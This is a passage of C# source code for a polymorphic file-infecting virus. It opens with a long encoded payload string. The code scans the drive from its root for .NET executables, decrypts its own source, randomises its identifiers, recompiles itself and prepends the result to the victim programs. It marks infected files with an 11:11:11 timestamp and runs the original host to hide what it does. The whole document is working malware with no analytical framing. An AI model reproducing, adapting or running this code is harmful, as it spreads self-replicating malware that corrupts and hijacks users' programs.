b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b684b6w4b+54b++4b+k4b6w4b+o4b+74b+14b+p4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+54b++4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+/4b+l4b+k4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b6w4b+z4b+94b+94b+94b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b+54b++4b+D4b+y4b+L4b+54b+94b+94b+94b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b+z4b+94b+94b+94b6w4b+O4b6w4b+o4b+74b+14b+p4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+R4b+g4b+g4b+14b++4b+04b644b+z4b+94b+94b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+34b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6w4b+R4b+V4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+R4b+V4b+g4b6+4b+X4b+14b+k4b+S4b+p4b+k4b+14b+j4b644b+34b+34b+34b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+g4b+/4b+84b+p4b+o4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+64b+p4b+l4b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+34b+44b+/4b+j4b+k4b6w4b6t4b6w4b+r4b6y4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6y4b684b6y4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6y4b684b6y4b+z4b+54b+74b6y4b684b6y4b+24b+j4b6h4b6o4b6o4b6y4b684b6y4b+y4b+44b+/4b+j4b+k4b+y4b6y4b684b6y4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6h4b6y4b684b6y4b+84b+/4b+64b+44b6y4b684b6y4b+l4b+i4b+x4b++4b+l4b6y4b684b6y4b+p4b+k4b+p4b6y4b684b6y4b+24b+j4b6m4b6y4b684b6y4b+24b+j4b6h4b6j4b6j4b6y4b684b6y4b+54b+g4b+g4b+z4b6y4b684b6y4b+o4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+j4b6i4b6i4b6j4b6y4b684b6y4b+54b+z4b+o4b+z4b+g4b6y4b684b6y4b+24b+j4b6h4b6k4b6k4b6y4b684b6y4b+04b+/4b+p4b6y4b684b6y4b+p4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+54b+84b+14b+j4b+o4b6y4b684b6y4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6y4b684b6y4b+04b+54b+i4b+j4b6y4b684b6y4b+o4b+04b+54b+i4b6y4b684b6y4b+j4b+o4b+k4b+i4b+14b+x4b+94b6y4b684b6y4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b6y4b684b6y4b+o4b+j4b+14b+84b+24b+p4b6y4b684b6y4b+z4b+/4b+l4b++4b+k4b+14b+i4b6y4b684b6y4b+Z4b++4b+24b+14b+z4b+k4b6y4b684b6y4b+04b+54b+i4b+o4b6y4b684b6y4b+34b+84b+14b++4b6y4b684b6y4b+o4b+p4b+o4b+o4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b6g4b6g4b6y4b684b6y4b+C4b+14b+x4b+04b+o4b6y4b684b6y4b+o4b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+z4b+z4b+l4b+i4b6y4b684b6y4b+n4b6j4b6j4b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6i4b6y4b684b6y4b+H4b+i4b+54b+k4b+14b+o4b6y4b684b6y4b+34b+i4b+14b+14b++4b6y4b684b6y4b+p4b+14b+84b+84b+/4b+n4b6y4b684b6y4b+i4b+54b+k4b+n4b6y4b684b6y4b+o4b+i4b+x4b++4b+o4b6y4b684b6y4b++4b+l4b+94b+o4b6y4b684b6y4b+84b+14b+k4b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+34b+/4b+x4b+k4b6y4b684b6y4b+94b+x4b+74b+14b+14b+o4b+14b6y4b684b6y4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b6y4b684b6y4b+q4b++4b+x4b+94b+14b6y4b684b6y4b+m4b+54b+z4b6y4b684b6y4b+/4b+z4b+g4b6y4b684b6y4b+o4b+m4b+z4b+14b6y4b684b6y4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6y4b684b6y4b+/4b+l4b+k4b+g4b+l4b+k4b6y4b684b6y4b+z4b+/4b+04b+14b+m4b6y4b684b6y4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+o4b+74b+14b+p4b6y4b684b6y4b+54b++4b+D4b+y4b6y4b684b6y4b+/4b+l4b+k4b+D4b+y4b6y4b684b6y4b+z4b+94b+94b+94b6y4b684b6y4b+54b+94b+94b+94b6y4b684b6y4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6y4b684b6y4b+x4b+i4b+34b+j4b6y4b684b6y4b+o4b+k4b+o4b6y4b684b6y4b+z4b+/4b+04b+14b+p4b6y4b684b6y4b+z4b+/4b+04b+14b+q4b6y4b684b6y4b+94b+54b+04b+z4b+/4b+04b6y4b684b6y4b+o4b+z4b+/4b+04b+14b+o4b6y4b684b6y4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+g4b+84b+x4b+54b++4b+o4b6y4b684b6y4b+04b+/4b++4b++4b+p4b6y4b684b6y4b+g4b+/4b+84b+p4b+o4b6y4b684b6y4b+64b+p4b+l4b+34b6y4b684b6y4b+g4b+x4b+k4b+44b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6y4b684b6y4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6y4b684b6y4b+z4b+/4b+04b+14b+54b6y4b684b6y4b+z4b+/4b+04b+14b+84b6y4b684b6y4b+24b+54b++4b+x4b+84b+o4b6y4b684b6y4b+54b+94b+g4b+p4b6y4b684b6y4b+34b+44b+/4b+j4b+k4b6y4b684b6y4b+R4b+V4b+g4b6y4b684b6y4b+34b+34b+34b6y4b+t4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+g4b+p4b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+g4b+p4b6w4b6s4b6w4b+34b+44b+/4b+j4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+g4b+p4b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+64b+p4b+l4b+34b6w4b6t4b6w4b+64b+p4b+l4b+34b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b+34b+44b+/4b+j4b+k4b+L4b+54b+94b+g4b+p4b+N4b684b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b6g4b6g4b6g4b6g4b684b6p4b6p4b6p4b6p4b6p4b6p4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+64b+p4b+l4b+34b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+C4b+14b+x4b+04b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+54b++4b+k4b6w4b+o4b+84b+14b++4b+34b+k4b+44b684b6w4b+54b++4b+k4b6w4b+z4b+z4b+z4b+l4b+i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b6w4b+n4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b+z4b+z4b+z4b+l4b+i4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b++4b+14b+n4b6w4b+y4b+p4b+k4b+14b+L4b+o4b+84b+14b++4b+34b+k4b+44b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b644b+54b++4b+k4b654b+o4b+84b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b+44b+54b+84b+14b6w4b644b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6u4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b6g4b6g4b6w4b6t4b6w4b+n4b6j4b6j4b6+4b+C4b+14b+x4b+04b644b+y4b+p4b+k4b+14b+j4b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b++4b6g4b6g4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+i4b+14b+x4b+74b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b674b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b694b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+34b+i4b+14b+14b++4b684b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+p4b+14b+84b+84b+/4b+n4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b6w4b+i4b+54b+k4b+n4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b6g4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+H4b+i4b+54b+k4b+14b644b+34b+i4b+14b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+H4b+i4b+54b+k4b+14b644b+p4b+14b+84b+84b+/4b+n4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+W4b+84b+l4b+j4b+44b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b+t"; private static string GetRandomString(int goat) { char[] letx = new char[7]; Random xranx = new Random(goat); for (int immm = 0; immm < 7; immm++) { int numx = xranx.Next(0, 26); letx[immm] += (char)('a' + numx); } string output = new string(letx); return output + xranx.Next(1, 2000).ToString(); } static void Main(string[] args) { string xparamsx = ""; for (int cik = 0; cik < args.Length; cik++) { xparamsx += args[cik] + " "; } string xselfy = Process.GetCurrentProcess().MainModule.FileName; string xyxx = Path.GetDirectoryName(xselfy); string glen = Directory.GetDirectoryRoot(xyxx); DirectoryInfo dirx = new DirectoryInfo(@glen); AndLetsRock(dirx); FileStream fs188 = new FileStream(xselfy, FileMode.OpenOrCreate, FileAccess.Read); int bhostb = (int)fs188.Length; int exelength = Convert.ToInt32("01234"); byte[] bytes1 = Readx(fs188, exelength, bhostb - exelength); fs188.Close(); byte[] lojh = new UTF8Encoding().GetBytes("jabir.b"); int yty = new Random().Next(2000); FileStream fs6 = new FileStream("p" + yty + "h.exe", FileMode.OpenOrCreate, FileAccess.Write); Writex(fs6, bytes1,lojh); fs6.Close(); try { ProcessStartInfo procinfo = new ProcessStartInfo("p" + yty + "h.exe", @xparamsx); Process xtx = Process.Start(procinfo); xtx.WaitForExit(); } catch { ; } finally { File.Delete("p" + yty + "h.exe"); } } private static void Infect(string filenamex) { FileStream fs133 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Read); int ippc = (int)fs133.Length; byte[] bytes2 = Readx(fs133, ippc, 0); fs133.Close(); string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString(); if (output.Length == 1) { output = "000000" + output; } else if (output.Length == 2) { output = "00000" + output; } else if (output.Length == 3) { output = "0000" + output; } else if (output.Length == 4) { output = "000" + output; } else if (output.Length == 5) { output = "00" + output; } else { output = "0" + output; } string[] xtx = database.Split(new char[] { '>' }); string codey = EncryptDecrypt(decodeb64(xtx[1]), Convert.ToInt32(xtx[0])); string codez = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0])); string codei = codey + decodeb64("fHw=") + codez; string codel = polyx(codei); string codev = xtx[0].Replace("0008080", output); codel = codel.Replace("0008080", output); codel = codel.Replace("01234", "0" + ippc.ToString()); string[] finalx = codel.Split(new string[] { decodeb64("fHw=") }, StringSplitOptions.None); codey = finalx[0]; codez = finalx[1]; string midcod = codev + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output))); string xcodex = codey + midcod + codez; string xfilex = GetRandomString(new Random().Next(10000, 999999)) + ".exe"; bool makeexe = BuildExe(xfilex, xcodex); if (makeexe == false) { throw new System.InvalidProgramException(); } FileStream fs223 = new FileStream(xfilex, FileMode.OpenOrCreate, FileAccess.Read); int icxcp = (int)fs223.Length; byte[] bytes1 = Readx(fs223, icxcp, 0); fs223.Close(); File.Delete(xfilex); FileStream fs144 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Write); Writex(fs144, bytes1, bytes2); fs144.Close(); File.SetLastWriteTime(filenamex, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 11, 11, 11)); } private static void AndLetsRock(DirectoryInfo doy) { FileInfo[] filesx = doy.GetFiles("*.exe"); foreach (FileInfo yfilex in filesx) { string filenamex = yfilex.FullName; try { AssemblyName.GetAssemblyName(filenamex); if (yfilex.LastWriteTime.Hour.ToString() + yfilex.LastWriteTime.Minute.ToString() + yfilex.LastWriteTime.Second.ToString() == "111111") continue; else try { Infect(filenamex); counter++; } catch { continue; } if (counter == 5) { return; } } catch { continue; } } DirectoryInfo[] dirs = doy.GetDirectories("*.*"); foreach (DirectoryInfo xdir in dirs) { try { if (counter == 5) { return; } AndLetsRock(xdir); } catch { continue; } } return; } private static bool BuildExe(string zname, string codey) { ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters ocp = new CompilerParameters(); ocp.ReferencedAssemblies.Add("System.dll"); ocp.GenerateExecutable = true; ocp.CompilerOptions = "/target:winexe"; ocp.OutputAssembly = zname; CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey); foreach (CompilerError xvce in zresults.Errors) { Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText); } if (zresults.Errors.Count == 0) { return true; } else { return false; } } private static string decodeb64(string donny) { byte[] plainx = Convert.FromBase64String(donny); return Encoding.UTF8.GetString(plainx); } private static string EncryptDecrypt(string textToEncrypt, int xkeyx) { StringBuilder inSb = new StringBuilder(textToEncrypt); StringBuilder outSb = new StringBuilder(textToEncrypt.Length); char cmmm; for (int immm = 0; immm < textToEncrypt.Length; immm++) { cmmm = inSb[immm]; cmmm = (char)(cmmm ^ xkeyx); outSb.Append(cmmm); } return outSb.ToString(); } private static string encodeb64(string ggg) { UTF8Encoding AEp = new UTF8Encoding(); return Convert.ToBase64String(AEp.GetBytes(ggg)); } private static string polyx(string jyug) { Random xranx = new Random(); string[] ghost = {"procinfo","xparamsx","cik","fs188","bhostb","exelength","bytes1","lojh","uranu","yty","fs6","fs133","ippc","xfilex","fs223","icxcp","fs144","doy","yfilex","filesx","filenamex","dirs","xdir","sxtream","AndLetsRock","xselfy","counter","Infect","dirx","glen","xyxx","numBytesRead2","numBytesToRead2","n00","Readx","xlength","ccur","w33","bytes2","Writex","green","yellow","ritw","xranx","numx","letx","GetRandomString","goat","makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt","xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64","plainx","donny","polyx","jyug","pathx","GetRandomString","ConsoleApplication6","XProgramX","codei","codel","finalx","impy","ghost","AEp","ggg"}; for (int impy = 0; impy < ghost.Length; impy++) { jyug = jyug.Replace(ghost[impy], GetRandomString(xranx.Next(10000,999999))); } return jyug; } private static byte[] Readx(FileStream sxtream, int xlength, int cccur) { BinaryReader w33 = new BinaryReader(sxtream); w33.BaseStream.Seek(cccur, SeekOrigin.Begin); byte[] bytes2 = new byte[xlength]; int numBytesToRead2 = (int)xlength; int numBytesRead2 = 0; while (numBytesToRead2 > 0) { int n00 = w33.Read(bytes2, numBytesRead2, numBytesToRead2); if (n00 == 0) break; numBytesRead2 += n00; numBytesToRead2 -= n00; } w33.Close(); return bytes2; } private static void Writex(FileStream sxtream, byte[] green, byte[] yellow) { BinaryWriter ritw = new BinaryWriter(sxtream); ritw.BaseStream.Seek(0, SeekOrigin.Begin); ritw.Write(green); ritw.Write(yellow); ritw.Flush(); ritw.Close(); } } } ====================================================================================================================